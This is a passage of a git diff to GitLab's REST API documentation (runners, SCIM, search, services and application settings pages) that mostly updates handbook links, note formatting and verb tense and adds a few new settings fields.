`ref` (required) - The name of branch, tag or commit -NOTE: **Note:** +NOTE: Like [Get file from repository](repository_files.md#get-file-from-repository) you can use `HEAD` to get just file metadata. ## Create new file in repository diff --git a/doc/api/repository_submodules.md b/doc/api/repository_submodules.md index 77f64b178f0..9c59920df77 100644 --- a/doc/api/repository_submodules.md +++ b/doc/api/repository_submodules.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, api --- diff --git a/doc/api/resource_iteration_events.md b/doc/api/resource_iteration_events.md index 47f4d70fdf1..4c351308ae1 100644 --- a/doc/api/resource_iteration_events.md +++ b/doc/api/resource_iteration_events.md @@ -1,7 +1,7 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Resource iteration events API **(STARTER)** diff --git a/doc/api/resource_label_events.md b/doc/api/resource_label_events.md index b088c06b342..6b682eac29c 100644 --- a/doc/api/resource_label_events.md +++ b/doc/api/resource_label_events.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Resource label events API diff --git a/doc/api/resource_milestone_events.md b/doc/api/resource_milestone_events.md index 146f67527b7..df51584a4ed 100644 --- a/doc/api/resource_milestone_events.md +++ b/doc/api/resource_milestone_events.md @@ -1,7 +1,7 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Resource milestone events API diff --git a/doc/api/resource_state_events.md b/doc/api/resource_state_events.md index f93e0408300..e81b7ddd272 100644 --- a/doc/api/resource_state_events.md +++ b/doc/api/resource_state_events.md @@ -1,7 +1,7 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Resource state events API diff --git a/doc/api/resource_weight_events.md b/doc/api/resource_weight_events.md index 028878874d2..44c20c5bca8 100644 --- a/doc/api/resource_weight_events.md +++ b/doc/api/resource_weight_events.md @@ -1,7 +1,7 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Resource weight events API diff --git a/doc/api/runners.md b/doc/api/runners.md index 16ecdebcd4f..131418de725 100644 --- a/doc/api/runners.md +++ b/doc/api/runners.md @@ -1,7 +1,7 @@ --- stage: Verify group: Runner -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Runners API @@ -168,7 +168,7 @@ GET /runners/:id curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/runners/6" ``` -NOTE: **Note:** +NOTE: The `token` attribute in the response was deprecated [in GitLab 12.10](https://gitlab.com/gitlab-org/gitlab/-/issues/214320). and removed in [GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/214322). @@ -224,13 +224,13 @@ PUT /runners/:id | `run_untagged`| boolean | no | Flag indicating the runner can execute untagged jobs | | `locked` | boolean | no | Flag indicating the runner is locked | | `access_level` | string | no | The access_level of the runner; `not_protected` or `ref_protected` | -| `maximum_timeout` | integer | no | Maximum timeout set when this runner will handle the job | +| `maximum_timeout` | integer | no | Maximum timeout set when this runner handles the job | ```shell curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/runners/6" --form "description=test-1-20150125-test" --form "tag_list=ruby,mysql,tag1,tag2" ``` -NOTE: **Note:** +NOTE: The `token` attribute in the response was deprecated [in GitLab 12.10](https://gitlab.com/gitlab-org/gitlab/-/issues/214320). and removed in [GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/214322). @@ -559,7 +559,7 @@ POST /runners | `run_untagged` | boolean | no | Whether the runner should handle untagged jobs | | `tag_list` | string array | no | List of runner's tags | | `access_level` | string | no | The access_level of the runner; `not_protected` or `ref_protected` | -| `maximum_timeout` | integer | no | Maximum timeout set when this runner will handle the job | +| `maximum_timeout` | integer | no | Maximum timeout set when this runner handles the job | ```shell curl --request POST "https://gitlab.example.com/api/v4/runners" --form "token=<registration_token>" --form "description=test-1-20150125-test" --form "tag_list=ruby,mysql,tag1,tag2" diff --git a/doc/api/scim.md b/doc/api/scim.md index 653d56f3e06..a9622525478 100644 --- a/doc/api/scim.md +++ b/doc/api/scim.md @@ -2,7 +2,7 @@ type: reference, howto stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # SCIM API (SYSTEM ONLY) **(SILVER ONLY)** @@ -33,13 +33,13 @@ Parameters: | `startIndex` | integer | no | The 1-based index indicating where to start returning results from. A value of less than one will be interpreted as 1. | | `count` | integer | no | Desired maximum number of query results. | -NOTE: **Note:** +NOTE: Pagination follows the [SCIM spec](https://tools.ietf.org/html/rfc7644#section-3.4.2.4) rather than GitLab pagination as used elsewhere. If records change between requests it is possible for a page to either be missing records that have moved to a different page or repeat records from a previous request. Example request: ```shell -curl 'https://gitlab.example.com/api/scim/v2/groups/test_group/Users?filter=id%20eq%20"0b1d561c-21ff-4092-beab-8154b17f82f2"' --header "Authorization: Bearer <your_scim_token>" --header "Content-Type: application/scim+json" +curl "https://gitlab.example.com/api/scim/v2/groups/test_group/Users?filter=id%20eq%20%220b1d561c-21ff-4092-beab-8154b17f82f2%22" --header "Authorization: Bearer <your_scim_token>" --header "Content-Type: application/scim+json" ``` Example response: diff --git a/doc/api/search.md b/doc/api/search.md index 8de93ce0d32..bfa5eb576dc 100644 --- a/doc/api/search.md +++ b/doc/api/search.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, api --- @@ -129,7 +129,8 @@ Example response: ] ``` -**Note**: `assignee` column is deprecated, now we show it as a single-sized array `assignees` to conform to the GitLab EE API. +NOTE: +`assignee` column is deprecated, now we show it as a single-sized array `assignees` to conform to the GitLab EE API. ### Scope: merge_requests @@ -291,8 +292,8 @@ Example response: ] ``` -NOTE: **Note:** -`filename` is deprecated in favor of `path`. Both return the full path of the file inside the repository, but in the future `filename` will be only the file name and not the full path. For details, see [issue 34521](https://gitlab.com/gitlab-org/gitlab/-/issues/34521). +NOTE: +`filename` is deprecated in favor of `path`. Both return the full path of the file inside the repository, but in the future `filename` will be only the filename and not the full path. For details, see [issue 34521](https://gitlab.com/gitlab-org/gitlab/-/issues/34521). ### Scope: commits **(STARTER)** @@ -363,7 +364,7 @@ Example response: ] ``` -NOTE: **Note:** +NOTE: `filename` is deprecated in favor of `path`. Both return the full path of the file inside the repository, but in the future `filename` will be only the file name and not the full path. For details, see [issue 34521](https://gitlab.com/gitlab-org/gitlab/-/issues/34521). ### Scope: notes **(STARTER)** @@ -541,7 +542,8 @@ Example response: ] ``` -**Note**: `assignee` column is deprecated, now we show it as a single-sized array `assignees` to conform to the GitLab EE API. +NOTE: +`assignee` column is deprecated, now we show it as a single-sized array `assignees` to conform to the GitLab EE API. ### Scope: merge_requests @@ -672,8 +674,8 @@ Example response: ] ``` -NOTE **Note:** -`filename` is deprecated in favor of `path`. Both return the full path of the file inside the repository, but in the future `filename` will be only the file name and not the full path. For details, see [issue 34521](https://gitlab.com/gitlab-org/gitlab/-/issues/34521). +NOTE: +`filename` is deprecated in favor of `path`. Both return the full path of the file inside the repository, but in the future `filename` will be only the filename and not the full path. For details, see [issue 34521](https://gitlab.com/gitlab-org/gitlab/-/issues/34521). ### Scope: commits **(STARTER)** @@ -744,7 +746,7 @@ Example response: ] ``` -NOTE **Note:** +NOTE: `filename` is deprecated in favor of `path`. Both return the full path of the file inside the repository, but in the future `filename` will be only the file name and not the full path. For details, see [issue 34521](https://gitlab.com/gitlab-org/gitlab/-/issues/34521). ### Scope: notes **(STARTER)** @@ -890,7 +892,8 @@ Example response: ] ``` -**Note**: `assignee` column is deprecated, now we show it as a single-sized array `assignees` to conform to the GitLab EE API. +NOTE: +`assignee` column is deprecated, now we show it as a single-sized array `assignees` to conform to the GitLab EE API. ### Scope: merge_requests @@ -1068,8 +1071,8 @@ Example response: ] ``` -NOTE: **Note:** -`filename` is deprecated in favor of `path`. Both return the full path of the file inside the repository, but in the future `filename` will be only the file name and not the full path. For details, see [issue 34521](https://gitlab.com/gitlab-org/gitlab/-/issues/34521). +NOTE: +`filename` is deprecated in favor of `path`. Both return the full path of the file inside the repository, but in the future `filename` will be only the filename and not the full path. For details, see [issue 34521](https://gitlab.com/gitlab-org/gitlab/-/issues/34521). ### Scope: commits @@ -1142,8 +1145,8 @@ Example response: ] ``` -NOTE: **Note:** -`filename` is deprecated in favor of `path`. Both return the full path of the file inside the repository, but in the future `filename` will be only the file name and not the full path. For details, see [issue 34521](https://gitlab.com/gitlab-org/gitlab/-/issues/34521). +NOTE: +`filename` is deprecated in favor of `path`. Both return the full path of the file inside the repository, but in the future `filename` will be only the filename and not the full path. For details, see [issue 34521](https://gitlab.com/gitlab-org/gitlab/-/issues/34521). ### Scope: users diff --git a/doc/api/services.md b/doc/api/services.md index a60eacef1d8..68485d23557 100644 --- a/doc/api/services.md +++ b/doc/api/services.md @@ -1,12 +1,12 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Services API -NOTE: **Note:** +NOTE: This API requires an access token with Maintainer or Owner permissions ## List all active services @@ -74,7 +74,7 @@ Asana - Teamwork without email Set Asana service for a project. -> This service adds commit messages as comments to Asana tasks. Once enabled, commit messages are checked for Asana task URLs (for example, `https://app.asana.com/0/123456/987654`) or task IDs starting with # (for example, `#987654`). Every task ID found will get the commit comment added to it. You can also close a task with a message containing: `fix #123456`. You can find your API Keys here: <https://developers.asana.com/docs/#authentication-basics>. +> This service adds commit messages as comments to Asana tasks. Once enabled, commit messages are checked for Asana task URLs (for example, `https://app.asana.com/0/123456/987654`) or task IDs starting with # (for example, `#987654`). Every task ID found gets the commit comment added to it. You can also close a task with a message containing: `fix #123456`. You can find your API Keys here: <https://developers.asana.com/docs/#authentication-basics>. ```plaintext PUT /projects/:id/services/asana @@ -84,8 +84,8 @@ Parameters: | Parameter | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `api_key` | string | true | User API token. User must have access to task, all comments will be attributed to this user. | -| `restrict_to_branch` | string | false | Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches. | +| `api_key` | string | true | User API token. User must have access to task, all comments are attributed to this user. | +| `restrict_to_branch` | string | false | Comma-separated list of branches which are automatically inspected. Leave blank to include all branches. | | `push_events` | boolean | false | Enable notifications for push events | ### Delete Asana service @@ -237,7 +237,7 @@ Parameters: | --------- | ---- | -------- | ----------- | | `token` | string | true | Buildkite project GitLab token | | `project_url` | string | true | Pipeline URL. For example, `https://buildkite.com/example/pipeline` | -| `enable_ssl_verification` | boolean | false | DEPRECATED: This parameter has no effect since SSL verification will always be enabled | +| `enable_ssl_verification` | boolean | false | DEPRECATED: This parameter has no effect since SSL verification is always enabled | | `push_events` | boolean | false | Enable notifications for push events | ### Delete Buildkite service @@ -482,7 +482,7 @@ Parameters: | `send_from_committer_email` | boolean | false | Send from committer | | `push_events` | boolean | false | Enable notifications for push events | | `tag_push_events` | boolean | false | Enable notifications for tag push events | -| `branches_to_be_notified` | string | false | Branches to send notifications for. Valid options are "all", "default", "protected", and "default_and_protected". Notifications will be always fired for tag pushes. The default value is "all" | +| `branches_to_be_notified` | string | false | Branches to send notifications for. Valid options are "all", "default", "protected", and "default_and_protected". Notifications are always fired for tag pushes. The default value is "all" | ### Delete Emails on push service @@ -655,7 +655,7 @@ Set Hangouts Chat service for a project. PUT /projects/:id/services/hangouts-chat ``` -NOTE: **Note:** +NOTE: Specific event parameters (for example, `push_events` flag) were [introduced in v10.4](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/11435) Parameters: @@ -747,7 +747,8 @@ Send IRC messages, on update, to a list of recipients through an Irker gateway. Set Irker (IRC gateway) service for a project. -> NOTE: Irker does NOT have built-in authentication, which makes it vulnerable to spamming IRC channels if it is hosted outside of a firewall. Please make sure you run the daemon within a secured network to prevent abuse. For more details, read: <http://www.catb.org/~esr/irker/security.html>. +NOTE: +Irker does NOT have built-in authentication, which makes it vulnerable to spamming IRC channels if it is hosted outside of a firewall. Please make sure you run the daemon within a secured network to prevent abuse. For more details, read: <http://www.catb.org/~esr/irker/security.html>. ```plaintext PUT /projects/:id/services/irker @@ -809,7 +810,7 @@ Parameters: | Parameter | Type | Required | Description | | --------- | ---- | -------- | ----------- | | `url` | string | yes | The URL to the Jira project which is being linked to this GitLab project. For example, `https://jira.example.com`. | -| `api_url` | string | no | The base URL to the Jira instance API. Web URL value will be used if not set. For example, `https://jira-api.example.com`. | +| `api_url` | string | no | The base URL to the Jira instance API. Web URL value is used if not set. For example, `https://jira-api.example.com`. | | `username` | string | yes | The username of the user created to be used with GitLab/Jira. | | `password` | string | yes | The password of the user created to be used with GitLab/Jira. | | `active` | boolean | no | Activates or deactivates the service. Defaults to false (deactivated). | @@ -1015,7 +1016,7 @@ Parameters: | Parameter | Type | Required | Description | | --------- | ---- | -------- | ----------- | | `token` | string | true | The PivotalTracker token | -| `restrict_to_branch` | boolean | false | Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches. | +| `restrict_to_branch` | boolean | false | Comma-separated list of branches to automatically inspect. Leave blank to include all branches. | | `push_events` | boolean | false | Enable notifications for push events | ### Delete PivotalTracker service @@ -1159,7 +1160,7 @@ Set Slack service for a project. PUT /projects/:id/services/slack ``` -NOTE: **Note:** +NOTE: Specific event parameters (for example, `push_events` flag and `push_channel`) were [introduced in v10.4](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/11435) Parameters: @@ -1269,7 +1270,7 @@ Set Mattermost service for a project. PUT /projects/:id/services/mattermost ``` -NOTE: **Note:** +NOTE: Specific event parameters (for example, `push_events` flag and `push_channel`) were [introduced in v10.4](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/11435) Parameters: @@ -1325,7 +1326,7 @@ A continuous integration and build server Set JetBrains TeamCity CI service for a project. -> The build configuration in TeamCity must use the build format number `%build.vcs.number%` you will also want to configure monitoring of all branches so merge requests build, that setting is in the VSC root advanced settings. +> The build configuration in TeamCity must use the build format number `%build.vcs.number%`. Configure monitoring of all branches so merge requests build. That setting is in the VSC root advanced settings. ```plaintext PUT /projects/:id/services/teamcity @@ -1396,7 +1397,7 @@ GET /projects/:id/services/jenkins A continuous integration and build server -NOTE: **Note:** +NOTE: This service was [removed in v13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/1600) ### Create/Edit Jenkins CI (Deprecated) service @@ -1411,7 +1412,7 @@ Parameters: - `project_url` (**required**) - Jenkins project URL like `http://jenkins.example.com/job/my-project/` - `multiproject_enabled` (optional) - Multi-project mode is configured in Jenkins GitLab Hook plugin -- `pass_unstable` (optional) - Unstable builds will be treated as passing +- `pass_unstable` (optional) - Unstable builds are treated as passing ### Delete Jenkins CI (Deprecated) service diff --git a/doc/api/settings.md b/doc/api/settings.md index 5b04ee9d368..5680687e87e 100644 --- a/doc/api/settings.md +++ b/doc/api/settings.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Application settings API **(CORE ONLY)** @@ -28,59 +28,62 @@ Example response: ```json { - "default_projects_limit" : 100000, - "signup_enabled" : true, - "id" : 1, - "default_branch_protection" : 2, - "restricted_visibility_levels" : [], - "password_authentication_enabled_for_web" : true, - "after_sign_out_path" : null, - "max_attachment_size" : 10, - "max_import_size": 50, - "user_oauth_applications" : true, - "updated_at" : "2016-01-04T15:44:55.176Z", - "session_expire_delay" : 10080, - "home_page_url" : null, - "default_snippet_visibility" : "private", - "outbound_local_requests_whitelist": [], - "domain_allowlist" : [], - "domain_denylist_enabled" : false, - "domain_denylist" : [], - "created_at" : "2016-01-04T15:44:55.176Z", - "default_ci_config_path" : null, - "default_project_visibility" : "private", - "default_group_visibility" : "private", - "gravatar_enabled" : true, - "sign_in_text" : null, - "container_expiration_policies_enable_historic_entries": true, - "container_registry_token_expire_delay": 5, - "repository_storages_weighted": {"default": 100}, - "plantuml_enabled": false, - "plantuml_url": null, - "terminal_max_session_time": 0, - "polling_interval_multiplier": 1.0, - "rsa_key_restriction": 0, - "dsa_key_restriction": 0, - "ecdsa_key_restriction": 0, - "ed25519_key_restriction": 0, - "first_day_of_week": 0, - "enforce_terms": true, - "terms": "Hello world!", - "performance_bar_allowed_group_id": 42, - "user_show_add_ssh_key_message": true, - "local_markdown_version": 0, - "allow_local_requests_from_hooks_and_services": true, - "allow_local_requests_from_web_hooks_and_services": true, - "allow_local_requests_from_system_hooks": false, - "asset_proxy_enabled": true, - "asset_proxy_url": "https://assets.example.com", - "asset_proxy_whitelist": ["example.com", "*.example.com", "your-instance.com"], - "npm_package_requests_forwarding": true, - "snippet_size_limit": 52428800, - "issues_create_limit": 300, - "raw_blob_request_limit": 300, - "wiki_page_max_content_bytes": 52428800, - "require_admin_approval_after_user_signup": false + "default_projects_limit" : 100000, + "signup_enabled" : true, + "id" : 1, + "default_branch_protection" : 2, + "restricted_visibility_levels" : [], + "password_authentication_enabled_for_web" : true, + "after_sign_out_path" : null, + "max_attachment_size" : 10, + "max_import_size": 50, + "user_oauth_applications" : true, + "updated_at" : "2016-01-04T15:44:55.176Z", + "session_expire_delay" : 10080, + "home_page_url" : null, + "default_snippet_visibility" : "private", + "outbound_local_requests_whitelist": [], + "domain_allowlist" : [], + "domain_denylist_enabled" : false, + "domain_denylist" : [], + "created_at" : "2016-01-04T15:44:55.176Z", + "default_ci_config_path" : null, + "default_project_visibility" : "private", + "default_group_visibility" : "private", + "gravatar_enabled" : true, + "sign_in_text" : null, + "container_expiration_policies_enable_historic_entries": true, + "container_registry_token_expire_delay": 5, + "repository_storages_weighted": {"default": 100}, + "plantuml_enabled": false, + "plantuml_url": null, + "kroki_enabled": false, + "kroki_url": null, + "terminal_max_session_time": 0, + "polling_interval_multiplier": 1.0, + "rsa_key_restriction": 0, + "dsa_key_restriction": 0, + "ecdsa_key_restriction": 0, + "ed25519_key_restriction": 0, + "first_day_of_week": 0, + "enforce_terms": true, + "terms": "Hello world!", + "performance_bar_allowed_group_id": 42, + "user_show_add_ssh_key_message": true, + "local_markdown_version": 0, + "allow_local_requests_from_hooks_and_services": true, + "allow_local_requests_from_web_hooks_and_services": true, + "allow_local_requests_from_system_hooks": false, + "asset_proxy_enabled": true, + "asset_proxy_url": "https://assets.example.com", + "asset_proxy_whitelist": ["example.com", "*.example.com", "your-instance.com"], + "npm_package_requests_forwarding": true, + "snippet_size_limit": 52428800, + "issues_create_limit": 300, + "raw_blob_request_limit": 300, + "wiki_page_max_content_bytes": 52428800, + "require_admin_approval_after_user_signup": false, + "personal_access_token_prefix": "GL-" } ``` @@ -89,12 +92,12 @@ the `file_template_project_id`, `deletion_adjourned_period`, or the `geo_node_al ```json { - "id" : 1, - "signup_enabled" : true, - "file_template_project_id": 1, - "geo_node_allowed_ips": "0.0.0.0/0, ::/0", - "deletion_adjourned_period": 7, - ... + "id" : 1, + "signup_enabled" : true, + "file_template_project_id": 1, + "geo_node_allowed_ips": "0.0.0.0/0, ::/0", + "deletion_adjourned_period": 7, + ... } ``` @@ -172,7 +175,8 @@ Example response: "issues_create_limit": 300, "raw_blob_request_limit": 300, "wiki_page_max_content_bytes": 52428800, - "require_admin_approval_after_user_signup": false + "require_admin_approval_after_user_signup": false, + "personal_access_token_prefix": "GL-" } ``` @@ -209,16 +213,16 @@ listed in the descriptions of the relevant settings. | `allow_local_requests_from_hooks_and_services` | boolean | no | (Deprecated: Use `allow_local_requests_from_web_hooks_and_services` instead) Allow requests to the local network from hooks and services. | | `allow_local_requests_from_system_hooks` | boolean | no | Allow requests to the local network from system hooks. | | `allow_local_requests_from_web_hooks_and_services` | boolean | no | Allow requests to the local network from web hooks and services. | -| `archive_builds_in_human_readable` | string | no | Set the duration for which the jobs will be considered as old and expired. Once that time passes, the jobs will be archived and no longer able to be retried. Make it empty to never expire jobs. It has to be no less than 1 day, for example: <code>15 days</code>, <code>1 month</code>, <code>2 years</code>. | +| `archive_builds_in_human_readable` | string | no | Set the duration for which the jobs are considered as old and expired. After that time passes, the jobs are archived and no longer able to be retried. Make it empty to never expire jobs. It has to be no less than 1 day, for example: <code>15 days</code>, <code>1 month</code>, <code>2 years</code>. | | `asset_proxy_enabled` | boolean | no | (**If enabled, requires:** `asset_proxy_url`) Enable proxying of assets. GitLab restart is required to apply changes. | | `asset_proxy_secret_key` | string | no | Shared secret with the asset proxy server. GitLab restart is required to apply changes. | | `asset_proxy_url` | string | no | URL of the asset proxy server. GitLab restart is required to apply changes. | -| `asset_proxy_whitelist` | string or array of strings | no | Assets that match these domain(s) will NOT be proxied. Wildcards allowed. Your GitLab installation URL is automatically whitelisted. GitLab restart is required to apply changes. | +| `asset_proxy_whitelist` | string or array of strings | no | Assets that match these domain(s) are **not** proxied. Wildcards allowed. Your GitLab installation URL is automatically allowlisted. GitLab restart is required to apply changes. | | `authorized_keys_enabled` | boolean | no | By default, we write to the `authorized_keys` file to support Git over SSH without additional configuration. GitLab can be optimized to authenticate SSH keys via the database file. Only disable this if you have configured your OpenSSH server to use the AuthorizedKeysCommand. | | `auto_devops_domain` | string | no | Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages. | -| `auto_devops_enabled` | boolean | no | Enable Auto DevOps for projects by default. It will automatically build, test, and deploy applications based on a predefined CI/CD configuration. | +| `auto_devops_enabled` | boolean | no | Enable Auto DevOps for projects by default. It automatically builds, tests, and deploys applications based on a predefined CI/CD configuration. | | `automatic_purchased_storage_allocation` | boolean | no | Enabling this permits automatic allocation of purchased storage within a namespace. | -| `check_namespace_plan` | boolean | no | **(PREMIUM)** Enabling this will make only licensed EE features available to projects if the project namespace's plan includes the feature or if the project is public. | +| `check_namespace_plan` | boolean | no | **(PREMIUM)** Enabling this makes only licensed EE features available to projects if the project namespace's plan includes the feature or if the project is public. | | `commit_email_hostname` | string | no | Custom hostname (for private commit emails). | | `container_registry_token_expire_delay` | integer | no | Container Registry token duration in minutes. | | `default_artifacts_expire_in` | string | no | Set the default expiration time for each job's artifacts. | @@ -231,10 +235,11 @@ listed in the descriptions of the relevant settings. | `default_snippet_visibility` | string | no | What visibility level new snippets receive. Can take `private`, `internal` and `public` as a parameter. Default is `private`. | | `deletion_adjourned_period` | integer | no | **(PREMIUM ONLY)** The number of days to wait before deleting a project or group that is marked for deletion. Value must be between 0 and 90. | `diff_max_patch_bytes` | integer | no | Maximum diff patch size (Bytes). | +| `disable_feed_token` | boolean | no | Disable display of RSS/Atom and calendar feed tokens ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/231493) in GitLab 13.7) | | `disabled_oauth_sign_in_sources` | array of strings | no | Disabled OAuth sign-in sources. | | `dns_rebinding_protection_enabled` | boolean | no | Enforce DNS rebinding attack protection. | | `domain_denylist_enabled` | boolean | no | (**If enabled, requires:** `domain_denylist`) Allows blocking sign-ups from emails from specific domains. | -| `domain_denylist` | array of strings | no | Users with e-mail addresses that match these domain(s) will NOT be able to sign-up. Wildcards allowed. Use separate lines for multiple entries. Ex: `domain.com`, `*.domain.com`. | +| `domain_denylist` | array of strings | no | Users with e-mail addresses that match these domain(s) **cannot** sign up. Wildcards allowed. Use separate lines for multiple entries. Ex: `domain.com`, `*.domain.com`. | | `domain_allowlist` | array of strings | no | Force people to use only corporate emails for sign-up. Default is `null`, meaning there is no restriction. | | `dsa_key_restriction` | integer | no | The minimum allowed bit length of an uploaded DSA key. Default is `0` (no restriction). `-1` disables DSA keys. | | `ecdsa_key_restriction` | integer | no | The minimum allowed curve size (in bits) of an uploaded ECDSA key. Default is `0` (no restriction). `-1` disables ECDSA keys. | @@ -247,8 +252,8 @@ listed in the descriptions of the relevant settings. | `elasticsearch_aws_region` | string | no | **(PREMIUM)** The AWS region the Elasticsearch domain is configured | | `elasticsearch_aws_secret_access_key` | string | no | **(PREMIUM)** AWS IAM secret access key | | `elasticsearch_aws` | boolean | no | **(PREMIUM)** Enable the use of AWS hosted Elasticsearch | -| `elasticsearch_indexed_field_length_limit` | integer | no | **(PREMIUM)** Maximum size of text fields that will be indexed by Elasticsearch. 0 value means no limit. This does not apply to repository and wiki indexing. | -| `elasticsearch_indexed_file_size_limit_kb` | integer | no | **(PREMIUM)** Maximum size of repository and wiki files that will be indexed by Elasticsearch. | +| `elasticsearch_indexed_field_length_limit` | integer | no | **(PREMIUM)** Maximum size of text fields to index by Elasticsearch. 0 value means no limit. This does not apply to repository and wiki indexing. | +| `elasticsearch_indexed_file_size_limit_kb` | integer | no | **(PREMIUM)** Maximum size of repository and wiki files that are indexed by Elasticsearch. | | `elasticsearch_indexing` | boolean | no | **(PREMIUM)** Enable Elasticsearch indexing | | `elasticsearch_limit_indexing` | boolean | no | **(PREMIUM)** Limit Elasticsearch to index certain namespaces and projects | | `elasticsearch_max_bulk_concurrency` | integer | no | **(PREMIUM)** Maximum concurrency of Elasticsearch bulk requests per indexing operation. This only applies to repository indexing operations. | @@ -272,14 +277,14 @@ listed in the descriptions of the relevant settings. | `file_template_project_id` | integer | no | **(PREMIUM)** The ID of a project to load custom file templates from | | `first_day_of_week` | integer | no | Start day of the week for calendar views and date pickers. Valid values are `0` (default) for Sunday, `1` for Monday, and `6` for Saturday. | | `geo_node_allowed_ips` | string | yes | **(PREMIUM)** Comma-separated list of IPs and CIDRs of allowed secondary nodes. For example, `1.1.1.1, 2.2.2.0/24`. | -| `geo_status_timeout` | integer | no | **(PREMIUM)** The amount of seconds after which a request to get a secondary node status will time out. | +| `geo_status_timeout` | integer | no | **(PREMIUM)** The amount of seconds after which a request to get a secondary node status times out. | | `gitaly_timeout_default` | integer | no | Default Gitaly timeout, in seconds. This timeout is not enforced for Git fetch/push operations or Sidekiq jobs. Set to `0` to disable timeouts. | | `gitaly_timeout_fast` | integer | no | Gitaly fast operation timeout, in seconds. Some Gitaly operations are expected to be fast. If they exceed this threshold, there may be a problem with a storage shard and 'failing fast' can help maintain the stability of the GitLab instance. Set to `0` to disable timeouts. | | `gitaly_timeout_medium` | integer | no | Medium Gitaly timeout, in seconds. This should be a value between the Fast and the Default timeout. Set to `0` to disable timeouts. | | `grafana_enabled` | boolean | no | Enable Grafana. | | `grafana_url` | string | no | Grafana URL. | | `gravatar_enabled` | boolean | no | Enable Gravatar. | -| `hashed_storage_enabled` | boolean | no | Create new projects using hashed storage paths: Enable immutable, hash-based paths and repository names to store repositories on disk. This prevents repositories from having to be moved or renamed when the Project URL changes and may improve disk I/O performance. (Always enabled since 13.0, configuration will be removed in 14.0) | +| `hashed_storage_enabled` | boolean | no | Create new projects using hashed storage paths: Enable immutable, hash-based paths and repository names to store repositories on disk. This prevents repositories from having to be moved or renamed when the Project URL changes and may improve disk I/O performance. (Always enabled since 13.0, configuration is scheduled for removal in 14.0) | | `help_page_hide_commercial_content` | boolean | no | Hide marketing-related entries from help. | | `help_page_support_url` | string | no | Alternate support URL for help page and help dropdown. | | `help_page_text` | string | no | Custom text displayed on the help page. | @@ -292,7 +297,7 @@ listed in the descriptions of the relevant settings. | `housekeeping_gc_period` | integer | required by: `housekeeping_enabled` | Number of Git pushes after which `git gc` is run. | | `housekeeping_incremental_repack_period` | integer | required by: `housekeeping_enabled` | Number of Git pushes after which an incremental `git repack` is run. | | `html_emails_enabled` | boolean | no | Enable HTML emails. | -| `import_sources` | array of strings | no | Sources to allow project import from, possible values: `github`, `bitbucket`, `bitbucket_server`, `gitlab`, `google_code`, `fogbugz`, `git`, `gitlab_project`, `gitea`, `manifest`, and `phabricator`. | +| `import_sources` | array of strings | no | Sources to allow project import from, possible values: `github`, `bitbucket`, 